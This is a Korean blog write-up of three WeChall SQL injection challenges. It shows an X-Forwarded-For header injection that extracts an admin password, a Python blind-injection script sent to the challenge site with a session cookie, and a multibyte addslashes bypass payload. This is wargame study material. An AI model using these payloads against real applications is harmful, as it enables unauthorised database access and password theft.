webhacking/sql, sql injection

WeChall The Guestbook, Blinded by the light, Addslashes

qkqhxla1 2015. 7. 6. 20:12

The Guestbook

글을 써서 올릴 수 있다. 소스를 분석해보면.


$playerid = gbook_playerID(true); // Current Player

$userid = 0; # guestbook has no login yet.

$time = time();

$ip = gbook_getIP();

$message = mysql_real_escape_string($message);

$query = "INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')";


부분에서 취약점을 발견할 수 있다. 내가 입력한 $message는 필터링이 잘 되어있지만, playerid나 ip값은 다른 함수에서 얻어온다. playerid가 값을 얻어오는 gbook_playerID함수는 문제가 없으므로 $ip를 얻어오는 gbook_getIP()를 살펴보면 HTTP_X_FORWARDED_FOR 헤더값이 존재하면 이것을 아이피로 설정한다.


여기다가 인젝션을 하면 된다. ip에 들어갈것까지 예측해서 

X-Forwarded-For: ip', (select gbu_password from gbook_user where gbu_name='Admin'))#처럼 입력하면


INSERT INTO gbook_book VALUES('$playerid', $userid, $time, 'ip', (select gbu_password from gbook_user where gbu_name='Admin'))#', '$message')


가 되어 Admin의 비밀번호가 아래에 출력되게된다.



Blinded by the light

들어가보면 md5해쉬를 128번의 요청만으로 알아내라고 한다. 근데 생각해보면 좀 힘들다. 일반적으로 알려진 효율적인 블라인드 인젝션으로는 7번까지는 줄일 수 있고, sleep을 엄청나게 잘 이용하면 한번에 알아낼수 있긴 하지만 시간이 너무 오래걸린다. 소스코드를 잘 살펴보면 md5라고는 하지만 랜덤한 비밀번호를 이렇게 생성한다. 

$hash = GWF_Random::randomKey(32, 'ABCDEF0123456789');

총 16글자로 랜덤하게 32개를 뽑아내는건데, 이렇게 비밀번호를 만들 경우 128번의 요청으로도 알아내는게 가능하다. 한글자당 4번의 요청밖에 못 보내는데, 요청을 >를 이용해서 잘 만들어 보내면 된다.


ex) 1' or ascii(substr(password,1,1))>51 or 0#이렇게보내면 해당 위치의 비밀번호의 아스키값이 51보다 클 경우 Welcome back이 출력되게 되고, 아니면 Wrong가 출력되게 된다. 이런식으로 이진탐색하듯이 반씩 반씩 줄여나가면 16글자이기 때문에. 16개 -> 8개 -> 4개 -> 2개가되어 4번이면 검증이 가능하다.


1. 문자열을 오름차순으로 정렬시킨다. 0123456789ABCDEF

2. 중간의 글자인 8로 시작한다. 검사할글자 > 8이 true이면 8~F사이로 검사한다. 이런식으로 줄여나간다.

코드.

# -*- encoding: cp949 -*-
import urllib2
answer = ''
attack = '0123456789ABCDEF'
for i in range(1,33):
    before = len(attack)/2 - 1
    after = len(attack)
    for j in range(1,5):
        print before, after,attack[before],answer
        req = urllib2.Request('http://www.wechall.net/challenge/blind_light/index.php',\
                              'injection=1\' or ascii(substr(password,'+str(i)+',1))>'\
                              +str(ord(attack[before]))+' or 0#&inject=Inject')
        req.add_header('cookie','WC=8532882-13590-w3EeDOIjgRexyDSc')
        page = urllib2.urlopen(req).read()
        if j==4:
            if page.find('Welcome back') != -1 : answer += attack[before+1]
            else: answer += attack[before]
        elif page.find('Welcome back') != -1:
            before = (before + after) / 2
        else: 
            after = before
            before = before - (8/(j*2))
        #print page.find('Welcome back')
print 'password =',answer


Addslashes

로그인 폼이 중국어로 되있다. 그리고 문제는 Addslashes이고, Addslashes는 멀티바이트 인코딩 시 %bf'로 '를 우회할수 있다. 중국어를 썼다는건 멀티바이트 인코딩을 했다는걸 보여주는 것이므로 아래처럼 잘 인젝션하면 된다.


%bf%27%20or%20username=0x41646d696e--%20